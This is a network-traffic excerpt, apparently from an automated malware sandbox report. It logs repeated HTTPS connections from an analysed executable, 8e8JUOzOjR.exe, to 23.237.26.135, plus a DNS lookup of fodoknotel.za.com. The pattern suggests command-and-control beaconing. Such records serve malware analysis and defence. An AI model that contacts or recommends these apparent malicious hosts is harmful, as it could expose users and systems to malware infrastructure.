Jan 14, 2025 08:26:51.874382019 CET	443	50238	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:52.426156998 CET	443	50238	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:52.426314116 CET	50238	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:52.443135977 CET	50238	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:52.443154097 CET	443	50238	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:52.443933964 CET	443	50238	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:52.454390049 CET	50238	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:52.495335102 CET	443	50238	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:52.599363089 CET	443	50238	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:52.599531889 CET	443	50238	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:52.599612951 CET	50238	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:52.599740982 CET	50238	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:52.599762917 CET	443	50238	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:52.599773884 CET	50238	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:52.599780083 CET	443	50238	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:52.712445974 CET	50239	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:52.712524891 CET	443	50239	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:52.712729931 CET	50239	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:52.764127970 CET	50239	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:52.764240026 CET	443	50239	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:52.764435053 CET	50239	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:52.767278910 CET	50240	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:52.767327070 CET	443	50240	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:52.767477989 CET	50240	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:52.768040895 CET	50240	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:52.768054962 CET	443	50240	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:53.396070004 CET	443	50240	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:53.396159887 CET	50240	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:53.397687912 CET	50240	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:53.397713900 CET	443	50240	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:53.397962093 CET	443	50240	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:53.399326086 CET	50240	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:53.443339109 CET	443	50240	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:53.563572884 CET	443	50240	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:53.563757896 CET	443	50240	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:53.564034939 CET	50240	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:53.564160109 CET	50240	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:53.564160109 CET	50240	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:53.564182043 CET	443	50240	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:53.564193010 CET	443	50240	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:53.675755978 CET	50241	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:53.675803900 CET	443	50241	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:53.675916910 CET	50241	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:53.676063061 CET	50241	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:53.676152945 CET	443	50241	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:53.676515102 CET	50241	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:53.678224087 CET	50242	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:53.678292036 CET	443	50242	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:53.678360939 CET	50242	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:53.678709030 CET	50242	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:53.678724051 CET	443	50242	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:54.234287024 CET	443	50242	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:54.234359980 CET	50242	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:54.235517979 CET	50242	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:54.235528946 CET	443	50242	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:54.235758066 CET	443	50242	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:54.238482952 CET	50242	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:54.283330917 CET	443	50242	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:54.409012079 CET	443	50242	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:54.409085035 CET	443	50242	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:54.409200907 CET	50242	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:54.409411907 CET	50242	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:54.409440994 CET	443	50242	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:54.409451962 CET	50242	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:54.409456968 CET	443	50242	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:54.522062063 CET	50243	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:54.522124052 CET	443	50243	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:54.522197962 CET	50243	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:54.522270918 CET	50243	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:54.522464991 CET	443	50243	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:54.522527933 CET	50243	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:54.560219049 CET	50244	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:54.560264111 CET	443	50244	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:54.560365915 CET	50244	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:54.560626984 CET	50244	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:54.560640097 CET	443	50244	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:55.105930090 CET	443	50244	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:55.106019974 CET	50244	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:55.107952118 CET	50244	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:55.107963085 CET	443	50244	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:55.108186960 CET	443	50244	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:55.109879017 CET	50244	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:55.151339054 CET	443	50244	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:55.278423071 CET	443	50244	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:55.278492928 CET	443	50244	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:55.278557062 CET	50244	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:55.280160904 CET	50244	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:55.280179024 CET	443	50244	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:55.280190945 CET	50244	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:55.280195951 CET	443	50244	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:55.395148993 CET	50245	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:55.395243883 CET	443	50245	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:55.395442009 CET	50245	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:55.408206940 CET	50245	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:55.408262014 CET	443	50245	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:55.408315897 CET	50245	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:55.411364079 CET	50246	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:55.411398888 CET	443	50246	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:55.411457062 CET	50246	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:55.411902905 CET	50246	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:55.411912918 CET	443	50246	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:55.975982904 CET	443	50246	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:55.976103067 CET	50246	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:55.977263927 CET	50246	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:55.977276087 CET	443	50246	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:55.977509022 CET	443	50246	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:55.978560925 CET	50246	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:56.019372940 CET	443	50246	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:56.148147106 CET	443	50246	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:56.148216963 CET	443	50246	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:56.148391008 CET	50246	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:56.148482084 CET	50246	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:56.148503065 CET	443	50246	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:56.148514986 CET	50246	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:56.148519993 CET	443	50246	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:56.258749008 CET	50247	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:56.258872986 CET	443	50247	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:56.259001970 CET	50247	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:56.259134054 CET	50247	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:56.259190083 CET	443	50247	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:56.259246111 CET	50247	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:56.261219978 CET	50248	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:56.261306047 CET	443	50248	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:56.261368036 CET	50248	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:56.261693001 CET	50248	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:56.261712074 CET	443	50248	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:56.803199053 CET	443	50248	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:56.803323984 CET	50248	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:56.804985046 CET	50248	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:56.804996967 CET	443	50248	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:56.805283070 CET	443	50248	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:56.806536913 CET	50248	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:56.851336002 CET	443	50248	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:56.976727009 CET	443	50248	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:56.976807117 CET	443	50248	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:56.976870060 CET	50248	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:56.977027893 CET	50248	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:56.977056980 CET	443	50248	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:56.977076054 CET	50248	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:56.977086067 CET	443	50248	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:57.088726997 CET	50249	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:57.088761091 CET	443	50249	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:57.088825941 CET	50249	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:57.088898897 CET	50249	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:57.088946104 CET	443	50249	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:57.088995934 CET	50249	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:57.090733051 CET	50250	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:57.090789080 CET	443	50250	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:57.090851068 CET	50250	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:57.091111898 CET	50250	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:57.091126919 CET	443	50250	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:57.657069921 CET	443	50250	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:57.657243967 CET	50250	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:57.658505917 CET	50250	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:57.658533096 CET	443	50250	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:57.658790112 CET	443	50250	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:57.660020113 CET	50250	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:57.703345060 CET	443	50250	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:57.829521894 CET	443	50250	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:57.829595089 CET	443	50250	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:57.829699993 CET	50250	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:57.829993010 CET	50250	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:57.830020905 CET	443	50250	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:57.830034018 CET	50250	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:57.830039024 CET	443	50250	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:57.942660093 CET	50251	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:57.942706108 CET	443	50251	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:57.942783117 CET	50251	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.011176109 CET	50251	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.011269093 CET	443	50251	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:58.011447906 CET	50251	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.013468027 CET	50252	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.013520002 CET	443	50252	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:58.013578892 CET	50252	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.013839006 CET	50252	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.013851881 CET	443	50252	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:58.545553923 CET	443	50252	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:58.545636892 CET	50252	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.546729088 CET	50252	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.546746016 CET	443	50252	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:58.546993971 CET	443	50252	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:58.581702948 CET	50252	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.623336077 CET	443	50252	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:58.714663029 CET	443	50252	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:58.714728117 CET	443	50252	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:58.714803934 CET	50252	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.714998007 CET	50252	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.715046883 CET	443	50252	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:58.715078115 CET	50252	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.715095043 CET	443	50252	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:58.825539112 CET	50253	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.825613022 CET	443	50253	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:58.825701952 CET	50253	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.825797081 CET	50253	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.825834990 CET	443	50253	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:58.827980042 CET	50254	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.828008890 CET	50253	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.828027964 CET	443	50254	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:58.828088045 CET	50254	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.828366041 CET	50254	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:58.828382969 CET	443	50254	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:59.373336077 CET	443	50254	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:59.373483896 CET	50254	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:59.374702930 CET	50254	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:59.374717951 CET	443	50254	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:59.374955893 CET	443	50254	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:59.381652117 CET	50254	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:59.423362017 CET	443	50254	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:59.545941114 CET	443	50254	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:59.546082973 CET	443	50254	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:59.546166897 CET	50254	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:59.546426058 CET	50254	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:59.546473026 CET	443	50254	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:59.546516895 CET	50254	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:59.546534061 CET	443	50254	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:59.664078951 CET	50255	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:59.664139032 CET	443	50255	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:59.664222002 CET	50255	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:59.664329052 CET	50255	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:59.664381027 CET	443	50255	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:59.664449930 CET	50255	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:59.667092085 CET	50256	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:59.667134047 CET	443	50256	23.237.26.135	192.168.2.5
Jan 14, 2025 08:26:59.667222977 CET	50256	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:59.667481899 CET	50256	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:26:59.667495012 CET	443	50256	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:00.198012114 CET	443	50256	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:00.198096037 CET	50256	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:00.203071117 CET	50256	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:00.203077078 CET	443	50256	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:00.203440905 CET	443	50256	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:00.205192089 CET	50256	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:00.247335911 CET	443	50256	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:00.367141962 CET	443	50256	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:00.367252111 CET	443	50256	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:00.367319107 CET	50256	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:00.367428064 CET	50256	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:00.367445946 CET	443	50256	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:00.367459059 CET	50256	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:00.367464066 CET	443	50256	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:00.478581905 CET	50257	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:00.478643894 CET	443	50257	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:00.478715897 CET	50257	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:00.478928089 CET	50257	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:00.478974104 CET	443	50257	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:00.479033947 CET	50257	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:00.480789900 CET	50258	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:00.480825901 CET	443	50258	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:00.483059883 CET	50258	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:00.483299017 CET	50258	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:00.483310938 CET	443	50258	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:01.020312071 CET	443	50258	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:01.020385981 CET	50258	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:01.021554947 CET	50258	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:01.021564960 CET	443	50258	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:01.021961927 CET	443	50258	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:01.023154974 CET	50258	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:01.063333035 CET	443	50258	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:01.217909098 CET	443	50258	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:01.217982054 CET	443	50258	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:01.218048096 CET	50258	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:01.218736887 CET	50258	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:01.218751907 CET	443	50258	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:01.218764067 CET	50258	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:01.218769073 CET	443	50258	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:01.331916094 CET	50259	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:01.331979036 CET	443	50259	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:01.332196951 CET	50259	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:01.332196951 CET	50259	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:01.332329988 CET	443	50259	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:01.332518101 CET	50259	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:01.334441900 CET	50260	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:01.334480047 CET	443	50260	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:01.336556911 CET	50260	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:01.336857080 CET	50260	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:01.336874962 CET	443	50260	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:01.889103889 CET	443	50260	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:01.889183044 CET	50260	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:01.890683889 CET	50260	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:01.890702963 CET	443	50260	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:01.890954018 CET	443	50260	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:01.892079115 CET	50260	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:01.935349941 CET	443	50260	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.063957930 CET	443	50260	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.064021111 CET	443	50260	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.064332008 CET	50260	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.064569950 CET	50260	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.064606905 CET	443	50260	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.064627886 CET	50260	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.064636946 CET	443	50260	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.177882910 CET	50261	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.177947998 CET	443	50261	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.178057909 CET	50261	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.178164005 CET	50261	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.178193092 CET	443	50261	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.178241968 CET	50261	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.180599928 CET	50262	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.180686951 CET	443	50262	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.180792093 CET	50262	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.181101084 CET	50262	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.181126118 CET	443	50262	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.710560083 CET	443	50262	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.710737944 CET	50262	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.712569952 CET	50262	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.712584019 CET	443	50262	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.712819099 CET	443	50262	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.714051962 CET	50262	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.755373001 CET	443	50262	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.879086971 CET	443	50262	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.879151106 CET	443	50262	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.879209995 CET	50262	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.879396915 CET	50262	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.879420042 CET	443	50262	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.879431009 CET	50262	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.879440069 CET	443	50262	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.992561102 CET	50263	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.992636919 CET	443	50263	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.992747068 CET	50263	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.992830038 CET	50263	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.992883921 CET	443	50263	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.992952108 CET	50263	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.995137930 CET	50264	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.995186090 CET	443	50264	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:02.995292902 CET	50264	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.995568037 CET	50264	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:27:02.995584965 CET	443	50264	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:03.534276009 CET	443	50264	23.237.26.135	192.168.2.5
Jan 14, 2025 08:27:03.534372091 CET	50264	443	192.168.2.5	23.237.26.135

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 08:24:57.622813940 CET	59628	53	192.168.2.5	1.1.1.1
Jan 14, 2025 08:24:57.895561934 CET	53	59628	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 08:24:57.622813940 CET	192.168.2.5	1.1.1.1	0x602c	Standard query (0)	fodoknotel.za.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 08:24:57.895561934 CET	1.1.1.1	192.168.2.5	0x602c	No error (0)	fodoknotel.za.com		23.237.26.135	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fodoknotel.za.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49713	23.237.26.135	443	1876	C:\Users\user\Desktop\8e8JUOzOjR.exe

Timestamp	Bytes transferred	Direction	Data
